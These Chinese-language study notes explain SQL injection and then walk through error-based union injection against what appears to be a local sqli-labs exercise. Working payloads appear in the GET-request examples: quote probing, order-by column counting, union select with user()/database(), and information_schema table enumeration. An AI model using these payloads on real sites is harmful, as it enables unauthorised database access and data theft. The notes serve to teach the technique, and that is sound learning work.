Web安全攻防 學習筆記
一、SQL 注入原理
1.1、介紹 SQL 注入
SQL 注入就是指 web 應用程式對使用者輸入資料的合法性沒有判斷,前端傳入後端的參數是攻擊者可控的,并且參數代入資料庫查詢,攻擊者可以通過構造不同的 SQL 語句來實作對資料庫任意操作。
SQL 注入漏洞的産生需要滿足兩個條件:
- 參數使用者可控
- 參數帶入資料庫查詢,傳入的參數拼接到SQL語句,并且帶入資料庫查詢
1.2、注入的危害
- 資料庫敏感資訊洩露
- 頁面被竄改
- 資料庫被惡意操作
- 伺服器被遠端控制
1.3、注入的分類
- 根據注入位置資料類型可将 SQL 注入分為兩類(其實原理都是一樣的,就是使原語句失效):
- 數字注入,如
注入為id=xx
id=-1 or 1=1
- 字元串注入
- 數字注入,如
select * from users where username = '' and password = '';
注入字元串 xxx' or 1=1 --+ ; 其中 -- 為注釋 + 在浏覽器中表示空格, 可以使後面的語句失效
select * from users where username = 'xxx' or 1=1 --' and password = '';
- 根據傳回結果可以分為:
- 顯錯注入( error-based )
- 盲注( boolean/time-based blind )
1.4、SQL 注入的形成原因
- 資料與代碼未嚴格分離
- 使用者送出的參數資料未做充分檢查過濾及被帶入到 SQL 指令中,改變了原有 SQL 指令的 " 語義 " ,且成功被資料庫執行
1.5、SQL 注入過程
- 用戶端參數值等資料被修改
- 服務端未經檢查和過濾就将被修改的資料注入到 SQL 指令中,SQL 指令功能被修改
- 資料庫引擎執行被修改後的 SQL 指令
- 服務端将注入的結果傳回給用戶端
- 用戶端根據上一次注入擷取到的敏感資訊構造注入語句進行進一步注入
火狐浏覽器 hackbar 插件安裝
https://blog.csdn.net/wdsj_xh/article/details/97511285
一、SQL 注入
1.1、GET 和 POST 請求
- GET 送出,請求的資料會附在URL之後(就是把資料放置在 HTTP 協定頭中),以
分割 URL 和傳輸資料,多個參數用?
連接配接&
- POST送出:把送出的資料放置在是 HTTP 包的包體中。
是以,GET 送出的資料會在位址欄中顯示出來,而 POST 送出,位址欄不會改變。
1.2、get 基于報錯的 SQL 注入
通過 url 中修改對應的 ID 值,為正常數字、字元(單引号,雙引号,括号)、反斜線來探測 url 中是否存在注入點。
例如:
http://127.0.0.1/sqli/Less-1/?id=1
# 可以正常通路
http://127.0.0.1/sqli/Less-1/?id=1'
# 報錯資訊 ''1'' LIMIT 0,1'
# 其中 '1'' LIMIT 0,1 未報錯内容
# 容易發現, sql 語句的 id 值可能是使用 ' ' 括起來的
報錯注入利用:
-
order by 判斷字段數
根據 order by 的文法
表示按照表的第一個字段排序,可以探測出目前表有多少給字段。order by 1
# 根據測試得知有 3 個字段
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+
# 報錯資訊
Unknown column '4' in 'order clause'
-
利用 union select 聯合查詢,擷取表名
獲得表的字段數後可以進行下一步探測
# 使用時, 盡量使 id 值不要生效
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,3 --+
# 得知在 2, 3 處存在注入點
# 是以可以用函數替換它們
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,user(),database() --+
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),database() --+
擷取表名:
mysql 有一個預設資料庫 information_schema,用于存儲各種資料庫啊表啊什麼的,可以利用一下。
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
# group_concat 把查詢出來的表名放在一起顯示出來, 可以不用這個函數看一下結果
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+
- 利用 union select 聯合查詢,擷取字段名
為什麼有這麼多個?
因為它傳回的并不隻是一個資料庫的 users 表的字段名,而是整一個 mysql 中的所有名為 users 的表的字段名。
- 利用 union select 聯合查詢,擷取字段值